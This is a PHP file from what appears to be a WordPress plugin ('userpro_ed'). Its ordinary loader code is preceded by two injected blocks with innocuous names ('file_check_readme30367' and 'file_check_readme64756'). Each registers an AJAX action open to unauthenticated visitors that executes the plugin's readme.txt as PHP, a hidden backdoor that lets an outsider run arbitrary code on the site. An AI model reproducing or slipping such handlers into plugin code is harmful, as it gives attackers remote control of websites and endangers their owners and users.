if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
<?php define('userpro_ed_url',plugin_dir_url(__FILE__ )); define('userpro_ed_path',plugin_dir_path(__FILE__ )); /* functions */ foreach (glob(userpro_ed_path . 'functions/*.php') as $filename) { require_once $filename; } /* administration */ if (is_admin()){ foreach (glob(userpro_ed_path . 'admin/*.php') as $filename) { include $filename; } }